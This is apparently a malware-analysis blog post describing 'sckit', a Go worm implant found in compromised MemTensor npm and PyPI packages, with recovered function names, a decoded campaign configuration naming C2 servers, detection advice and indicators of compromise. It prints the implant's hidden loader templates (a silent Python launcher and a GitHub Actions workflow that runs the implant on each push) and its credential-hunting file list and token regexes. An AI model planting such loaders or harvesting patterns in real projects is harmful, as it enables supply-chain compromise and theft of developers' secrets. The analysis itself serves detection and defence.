sckit: A New Go Implant Framework for Supply Chain Worms
On this page
sckit, also known as the “supplychain.local worm”, is a Go implant framework that we found in two MemTensor packages on September 23, 2026. It runs on Linux, macOS, and Windows. It collects credentials from developer machines and from CI jobs. It receives signed tasks from a command and control (C2) server. It also contains templates to install itself in npm packages, Python packages, and GitHub Actions workflows. The code and infrastructure do not match a known malware family. The operator built a separate binary for each target, and registered the C2 domain eight days before the attack. We think that the operator will use this framework again.
We first saw sckit in the MemTensor npm and PyPI compromise. That post explains how the attacker stole the publish tokens and shipped the implant. This post covers the implant: the framework layout, the capabilities we can see, the limits of our analysis, and indicators that you can use to find sckit in other places.
Method
We used these sources:
- The loader code in
@memtensor/[email protected](npm) and[email protected](PyPI). - The decoded campaign configuration that each loader gives to the implant.
- The Go build information in the binary (
.go.buildinfo). - The Go function table (
.gopclntab). The binaries have no Executable and Linkable Format (ELF) symbol table, but Go keeps function names in this table for stack traces. We parsed the table with a short Python script. It gave 7,259 functions for the npm build and 7,303 for the PyPI build. Some implant function names have no separate function entry, because the compiler copied their code into the functions that call them. We list those names too, and we checked each name in this post against the binary. - Strings in the binary.
Function names show intent, and the code can behave differently. So each capability in this post has one of three labels:
- Confirmed means that we read the code that does it (loader or CI script).
- Indicated means that function names and strings in the implant show it.
- Unknown means that we have no evidence.
Evidence for a new framework
These facts come from the artifacts:
- The Go module path is
supplychain.local/campaign. It is not a public module, and GitHub code search finds no copy of it. The.localsuffix identifies local network names and does not resolve through public DNS. Sosupplychain.localis a project name that the author chose, and the operator does not control a domain with this name. - The implant uses its own schema identifiers, such as
sckit.control.v1andsckit.admission.v1. Search finds these nowhere else. - We found no code or infrastructure in common with the Shai-Hulud worms or other publicly reported npm worms.
- The registration date for the C2 parent domain
skyleen[.]fris September 15, 2026. An unrelated developer used this name in the past. We think that the operator registered the domain again after it expired.
This is our inference. The framework has many parts, a versioned protocol, and a configuration for each campaign. A single-use tool does not need these parts. The researcher who reported the npm compromise suggested that a language model wrote the tooling. The code style agrees with that idea, but we cannot prove it.
Build information
The build information is the same for all binaries except for the target OS and CPU:
# go.buildinfo, linux-amd64/sckit (npm 0.1.25)go1.27.1path supplychain.local/campaign/cmd/implantmod supplychain.local/campaign (devel)dep golang.org/x/crypto v0.55.0 h1:+KWHjbgOaAQ66dh/YlkZKHlz9ZUlq61AFirAR9ntP8M=dep golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=build -buildmode=exebuild -compiler=gcbuild -trimpath=truebuild CGO_ENABLED=0build GOARCH=amd64build GOOS=linuxThe build uses -trimpath and no cgo. This removes local file paths and gives one static binary with no external library dependencies. Each package has six builds, for linux, darwin, and windows on amd64 and arm64. Each binary is between 6.8 MB and 7.7 MB.
Framework layout
The internal/wire package uses Concise Binary Object Representation (CBOR) for C2 messages. The function table shows five packages under the module:
| Package | Purpose (from function names) |
|---|---|
cmd/implant | Entry point and command-line modes |
internal/agent | Main runtime: credential collection, host profiling, spreading, state, cleanup |
internal/wire | C2 protocol: CBOR encoding, encryption, signatures, message parsing |
internal/presentation | One function, Resolve. We do not know its purpose |
internal/ciemit | CI token capture. Only in the PyPI build |
The implant has two command-line modes. The usage string names the first one:
# strings, linux-amd64/sckit (npm 0.1.25 and PyPI 2.0.34)usage: sckit stage0 <-config path|-config64 value>campaign runtime requires semi-nuclearstage0is the mode that runs on developer machines. Both loaders start this mode.initial-ci-emitis the mode that runs in CI. Only the PyPI build has this string. The PyPI CI script downloads the implant and starts it in this mode. The MemOS post shows that script.
The second string shows that the runtime refuses to start unless the configuration profile is semi-nuclear. Both MemTensor configurations use this profile.
Differences between the two builds
The npm build and the PyPI build have 121 and 143 functions in the supplychain.local/campaign module. The PyPI build adds the internal/ciemit package:
// Recovered function names, internal/ciemit (PyPI 2.0.34 build only).// These are names from .gopclntab, not source code.ciemit.Prepareciemit.BestEffortCommandciemit.commandciemit.commandWithAuthorityciemit.bestEffortciemit.readSignedciemit.strictJSONciemit.checkJSONValueciemit.executableDigestciemit.boundedReadciemit.digestciemit.validStringThe PyPI build also has five schema identifiers and one output marker for this CI mode. The npm build has none of them:
# strings, linux-amd64/sckit (PyPI 2.0.34 only)sckit.initial-ci.v2sckit.initial-ci-execution-context.v2sckit.initial-ci-module-result.v2sckit.initial-ci-producer-trust.v2sckit.initial-ci-source-permit.v2SCKIT_CI_RESULT_V2The npm campaign did not need the CI mode in the implant, because the npm bridge script sent the token through stage0. We think that the operator selects the parts of the framework for each target and builds a new binary.
Campaign configuration
Each loader gives the implant one base64 JSON argument. The configuration uses the schema sckit.runtime.v1. This is the decoded configuration from the PyPI package. We removed the empty fields and kept one of the three C2 servers:
{ "schema": "sckit.runtime.v1", "campaign_id": "memos-semi-nuclear", "product": "memos", "version": "2.0.34", "channel": "MemoryOS/v*-release", "profile": "semi-nuclear", "root_public": "gZIXrn82xCVrNmG1fwKVB53ospCTIIwBiPOrSyG+DvE", "stage0_digest": "pmBMOn4CHXalbt5yVGs7FTKmcMonkpAFTJFtefwPNWk", "state_dir": "$HOME/.memos/.cache/runtime", "inventory_roots": ["$HOME"], "fronts": [ { "base_url": "https://c747d139e7e9.skyleen.fr", "control_path": "/24ffe6fe9644e7fc6ec8abd3/config", "preflight_path": "/24ffe6fe9644e7fc6ec8abd3/status", "result_path": "/24ffe6fe9644e7fc6ec8abd3/batch" } ], "not_after": 1792724380}The fields tell us how the operator uses one binary for many targets:
| Field | Meaning |
|---|---|
campaign_id | Name for the target. memos-semi-nuclear and cloud-openclaw-semi-nuclear |
channel | How the implant arrived. For example, MemoryOS/v*-release or exact-ref-one-use-NPM_TOKEN,... |
root_public | A public key. We think that the implant uses it to verify signed server messages |
stage0_digest | A hash. We think that it identifies the approved implant build |
state_dir | Where the implant keeps its state on disk |
inventory_roots | Where the implant searches for files. $HOME in both campaigns |
fronts | Three C2 servers, each with a control, status, and result path |
not_after | A Unix time. October 22 and 23, 2026 for the two campaigns. It looks like an expiry date |
Capabilities
Execution on the host (confirmed)
The loaders start the implant as a separate process, with no output, and with the full process environment. The Node.js loader does this when the OpenClaw gateway starts and on each memory recall. The Python loader does this the first time that the library configures logging. The OpenClaw loader also gives the user’s prompt text to the implant in the environment variable SCKIT_EVENT_TEXT. The implant has a matching function, (*Runtime).eventText. So the implant can read the text that users send to their AI agent.
Credential collection (indicated)
The agent package has these functions:
// Recovered function names, internal/agent (both builds)agent.credentialsagent.credentialPathsagent.credentialFileagent.readCredentialFileagent.credentialsFromFileagent.extractJSONCredentialsagent.environmentNamesagent.hasCredentialagent.artifactsagent.artifactMatchagent.supportedArtifactCategoryThe binary contains the names of common credential files: .npmrc, .pypirc, .git-credentials, .netrc, id_rsa, id_ecdsa, id_ed25519, .vault-token, msal_token_cache, access_tokens.json, and access_tokens.db. The last three are token caches of the Azure and Google Cloud command-line tools. The binary also contains the strings credential-collector and artifact-collector, which look like names of collection modules.
The binary has two regular expressions. The first finds names of variables that hold secrets:
# strings, linux-amd64/sckit (npm 0.1.25)(?i)(token|secret|password|passwd|passphrase|credential|auth|oauth|bearer|cookie|session|jwt|private[_-]?key|access[_-]?key|api[_-]?key|signing[_-]?key|client[_-]?secret|(^|[_-])pat($|[_-])|(^|[_-])key($|[_-])|(^|[_-])(database|db|redis|mongo|mongodb|amqp|rabbitmq|broker)[_-]?(url|uri|dsn)($|[_-]))The second finds known token formats in text. It matches JSON Web Tokens and tokens for AWS, GitHub, GitLab, npm, PyPI, Hugging Face, HashiCorp Vault, Slack, Stripe, and SendGrid:
# strings, linux-amd64/sckit (npm 0.1.25)(?i)(^|[^[:alnum:]_-])(eyJ[[:alnum:]_-]{8,}\.eyJ[[:alnum:]_-]{8,}\.[[:alnum:]_-]+|(AKIA|ASIA)[A-Z0-9]{16}|github_pat_[[:alnum:]_]+|gh[opusr]_[[:alnum:]]+|glpat-[[:alnum:]_-]+|npm_[[:alnum:]_-]+|pypi-[[:alnum:]_-]+|hf_[[:alnum:]]+|hvs\.[[:alnum:]_-]+|xox[abprs]-[[:alnum:]-]+|sk_live_[[:alnum:]_]+|SG\.[[:alnum:]_-]+\.[[:alnum:]_-]+)($|[^[:alnum:]_-])Publish tokens for npm and PyPI are in the list. These are the credentials that the worm needs to spread.
CI token capture (confirmed)
In CI, a bridge script runs before the real publish step and gives the publish token to the implant. Then it stops the publish. The PyPI build has the ciemit package and the initial-ci-emit mode for this work. The MemOS post shows both bridge scripts and explains how they use BASH_ENV.
Spreading to other projects (indicated)
The agent package has functions to find repositories, prepare them, and publish:
// Recovered function names, internal/agent (both builds)agent.findRepositoriesagent.PrepareRemoteRepositoryagent.PrepareRemoteRepositoryTargetagent.prepareRemoteNodeagent.prepareRemotePythonagent.prepareRemoteWorkflowagent.pythonImportPackageagent.remoteSidecarsagent.remoteHashesagent.copyRemoteFileagent.writeRemoteFileagent.runGitagent.runGitWithIdentityagent.recursivePublishThe binary contains three loader templates. They match these functions. The Python template runs the implant from an imported package:
# template string in linux-amd64/sckit (npm 0.1.25)try: import os as _o, pathlib as _p, platform as _pl, subprocess as _sp _a = {"x86_64":"amd64","aarch64":"arm64","AMD64":"amd64","ARM64":"arm64"}.get(_pl.machine(), _pl.machine()) _b = _p.Path(__file__).resolve().parent / %q / (f"{_pl.system().lower()}-{_a}") / ("sckit.exe" if _o.name == "nt" else "sckit") if _b.exists(): _sp.Popen([str(_b),"stage0","--config64",%q], stdin=_sp.DEVNULL,stdout=_sp.DEVNULL,stderr=_sp.DEVNULL,start_new_session=True)except Exception: passThe Node.js template runs the implant from a bin/ directory:
// template string in linux-amd64/sckit (npm 0.1.25)const binary = path.join(__dirname, "bin", os + "-" + arch, process.platform === "win32" ? "sckit.exe" : "sckit");The GitHub Actions template runs the implant on each push:
# template string in linux-amd64/sckit (npm 0.1.25)name: %son: [push]jobs: update: runs-on: ubuntu-latest steps: - uses: actions/checkout@v6 - run: ./%s/linux-amd64/sckit stage0 --config64 %qThe file name runtime-update.yml is also in the binary. We think that it is the name of this workflow file. Other strings agree with the publish functions: GIT_AUTHOR_NAME=%s, --ignore-scripts, twine, poetry, and .sckit-copy-*.
The implant fills in the %q values at run time. So a new victim gets a new configuration, with a new campaign identifier and possibly new C2 servers. We do not know if the implant spreads by itself or only on a command from the operator. The signed leases in the C2 protocol suggest that the operator controls it.
Host profiling and victim filtering (indicated)
// Recovered function names, internal/agent (both builds)agent.HostIDagent.hostProfileagent.hostProfileIPagent.hostProfileInterfacesagent.hostProfileLanguagesagent.hostProfileTimezoneagent.hostProfileTextagent.hostPrivilegeHints(*Runtime).languageTags(*Runtime).inputMethodTagsThe implant collects the host name, IP addresses, network interfaces, time zone, languages, and keyboard input methods. It also checks for administrator rights. The strings root-username, administrator-username, and windows-system-sid are in the binary. The environment variable SCKIT_INPUT_METHODS is also in the binary.
Three fields are for victim filtering:
# strings, linux-amd64/sckit (both builds)geo_isodeny_isoja4_denyWe think that geo_iso and deny_iso let the operator allow or block countries. JA4 is a method to identify Transport Layer Security (TLS) clients. ja4_deny probably lets the server reject known analysis tools or sandboxes. Language, time zone, and input method data can also help the operator skip some regions.
C2 protocol (indicated)
The wire package has the message types and the encryption:
// Recovered function names, internal/wire (both builds)wire.Marshalwire.Unmarshalwire.GenerateX25519wire.makeAEADwire.SealBoundwire.OpenBoundwire.Signed.Verifywire.VerifyBindingwire.VerifyHandshakeBindingwire.(*Request).Signwire.Admission.Byteswire.ParseLeasewire.ParseManifestwire.ParseAckwire.ParseResponsewire.ResultBytesProtocol strings from the binary:
# strings, linux-amd64/sckit (both builds)sckit.control.v1sckit.admission.v1sckit.module-result.v1sckit.tombstone.v1sckit/xchacha/v1application/cborIdempotency-Keylease_signing_publease_signatureresult_x25519_pubmax_activationsmax_offline_untilhost_bucket_rangeone_shotcontroller dispositionnon-monotonic manifestmodule digest mismatchThis is our reading of the protocol. The implant sends an admission request with its host profile. If the server accepts the host, it sends a signed lease. The lease limits how many times and for how long the implant can work (max_activations, max_offline_until). The server then sends a manifest of modules. The implant checks the digest of each module and rejects old manifests. It sends the results back, encrypted with a key from an X25519 key exchange and XChaCha20-Poly1305.
The implant checks server signatures. A researcher who runs a fake server cannot send it tasks without the operator’s signing key.
Remote modules (unknown)
The functions ParseModule, Execute, oneShotModule, and pendingModule show that the server sends modules to the implant. We do not know what these modules do. The C2 subdomains now resolve to 127.0.0.1, and we have no record of their traffic. So the full capability set of sckit is not in the binary, and it can change from one campaign to the next.
State and cleanup (indicated)
// Recovered function names, internal/agent (both builds)(*StateStore).LoadOrCreate(*StateStore).Write(*StateStore).Cleanup(*StateStore).Tombstoneagent.scheduleSelfDeleteagent.deleteExecutableThe implant keeps state in the state_dir from its configuration. It has functions to remove its state and its own binary. The sckit.tombstone.v1 schema suggests that it writes a marker to tell other copies not to run again on the same host.
What we do not know
- What the server modules do.
- Whether spreading is automatic or needs approval from the operator.
- Whether there are victims other than MemTensor. GitHub code search finds no other copy of the loaders or templates. But code search only indexes default branches, and this operator used tags and short-lived branches.
- How the implant uses
root_publicandstage0_digest. Our explanations in the configuration table are inferences. - The purpose of
internal/presentation.Resolve.
Detection
On developer machines:
- A process with the command line
sckit stage0 --config64 <base64>. - A process environment that contains
SCKIT_EVENT_TEXT. - A
.sckit/directory with<os>-<arch>/sckitbinaries insidenode_modulesorsite-packages. - The directories
$HOME/.openclaw/.cache/runtimeor$HOME/.memos/.cache/runtime. Other campaigns will probably use other directories under.cache/runtime.
In CI:
- A step that writes
BASH_ENV=to$GITHUB_ENV. - A build backend loaded from the repository (
backend-path = ["."]) that you did not add. - Log lines that contain
SCKit credential receipt,SCKIT_CI_RESULT_V2, orSCKIT_CI_OBSERVATION_V2. - A publish step that fails with no clear cause, followed by a package version that you did not publish.
In repositories:
- A workflow file named
runtime-update.ymlthat runssckit stage0. - Files named
lib/sckit.js,_stage0.py,_pypi_bridge.sh,sckit-publish-bridge.sh, orsckit_poetry_build.py.
In binaries:
- The Go module path
supplychain.local/campaignin the build information. - The schema identifiers in the indicators of compromise table below. They are unique to this framework.
Indicators of compromise
Implant binaries
| Build | npm campaign (cloud-openclaw-semi-nuclear) | PyPI campaign (memos-semi-nuclear) |
|---|---|---|
| linux-amd64 | 381ac6dc1715d9298fe81b2a53a11f7b7d78e361ee3a6619ad54f8c4b062cc18 | c1b0998347b489582bae7b7f4930f9831d9ef4b6bc150cfd488ee1a43272dd36 |
| linux-arm64 | e077c387b223811064b7bbc5a55a0182fca9bf50894f949ff284d4be87d44b26 | 8f647f17a1934679c4095e21bee2b9bd83e28476603758bc91408a0c8443e3b4 |
| darwin-amd64 | 65faf8ccbcf5b34eb4f72c71bf82815fa9c1e2f947b9c898491540e866132c31 | 9de0d5b0ca184f71f630be5781d134998883a02d5d7bc65aeb9559d8f9efb364 |
| darwin-arm64 | f8ccdd1da7dff1aef16377a2842bc7acf7c516e32122dd6e42dc4a4e57653fce | 5405e330507602e803f7dd6f2a9d4555aec8558ab222b51413594a962da6888a |
| windows-amd64 (.exe) | 56cd3416d2ec2aa7e7cec2a06010cf0b58eb09c0a5486809df52afeaca8f14be | 16de381deb978744535b10f68fe15165251374b86eef18ffc2c47f61ea673047 |
| windows-arm64 (.exe) | d6b3e77c36ee8017c9bf30d1da7218ec0ea843768d313eb8e35845c8a9b38a26 | f7c4014e284f3d56c452b8b222a287c54f73dc4a40a7e022e765ac8376362947 |
Framework strings
| Indicator | Where |
|---|---|
supplychain.local/campaign/cmd/implant | Go build information and function names. Not a domain. A DNS block has no effect |
sckit.runtime.v1 | Loader configuration |
sckit.control.v1, sckit.admission.v1, sckit.module-result.v1, sckit.tombstone.v1, sckit/xchacha/v1 | Implant strings |
sckit.initial-ci.v2, sckit.initial-ci-execution-context.v2, sckit.initial-ci-module-result.v2, sckit.initial-ci-producer-trust.v2, sckit.initial-ci-source-permit.v2 | Implant strings (CI build) |
usage: sckit stage0 <-config path|-config64 value> | Implant strings |
campaign runtime requires semi-nuclear | Implant strings |
SCKIT_EVENT_TEXT, SCKIT_INPUT_METHODS, SCKIT_INITIAL_CI_CHECKOUT_SHA | Environment variables |
SCKIT_CI_RESULT_V2, SCKIT_CI_OBSERVATION_V2, SCKit credential receipt acknowledged. | CI log lines |
runtime-update.yml | Spreading workflow name |
Infrastructure
| Indicator | Notes |
|---|---|
skyleen[.]fr | Registered 2026-09-15. Wildcard DNS to 127.0.0.1 on 2026-09-23 |
8a8acaf167b3, 0b48fafd6fbe, 266297c6df27 .skyleen[.]fr | C2 for cloud-openclaw-semi-nuclear |
c747d139e7e9, 73376a079d87, d4f77a3a8cb0 .skyleen[.]fr | C2 for memos-semi-nuclear |
10729e014d0e.skyleen[.]fr/eb57efaa7365698fc1e4decc/initial-ci-v2 | CI delivery for memos-semi-nuclear |
URL paths /<24 hex>/config, /<24 hex>/status, /<24 hex>/batch | C2 control, status, and results |
URL paths /index/<64 hex>, /file/<64 hex>/<64 hex>, /observe/<64 hex> | CI delivery |
References
- MemTensor npm and PyPI packages hit by a Go worm, the first report of
sckit - MemOS-Cloud-OpenClaw-Plugin issue #173
- MemTensor/MemOS commit
b52958f, the PyPI implant and CI capture script - MemTensor/MemOS-Cloud-OpenClaw-Plugin commit
9b97ec6, the npm implant and CI bridge script - JA4+ network fingerprinting
- malware-analysis
- supply-chain
- github-actions
- npm
- pypi
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
MemTensor npm and PyPI Packages Hit by a Go Worm
An attacker used a Go worm to steal CI publish tokens from MemTensor and ship malicious MemOS packages to npm and PyPI. See how it works, with code and indicators of compromise.
Why Does an npm Math Library Need an Encrypted Loader?
A math solver leads to encrypted code in npm packages. Follow the loader, the trigger matrix that unlocks it, the remote access payload, and the full indicators.
OpenAI Agents Turned RubyGems Into a Scraping Proxy
Between May and July 2026, a swarm of AI agents published over 3,000 packages to RubyGems. The gems abused RubyDoc.info documentation builds to run a crawler on someone else's servers, then shipped...
The Agentic IDE Extension Blind Spot
Cursor can install most of the same extensions you had in Visual Studio Code, but not the same versions. Its Import VS Code Configuration step sends only the extension name, never the version. It...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.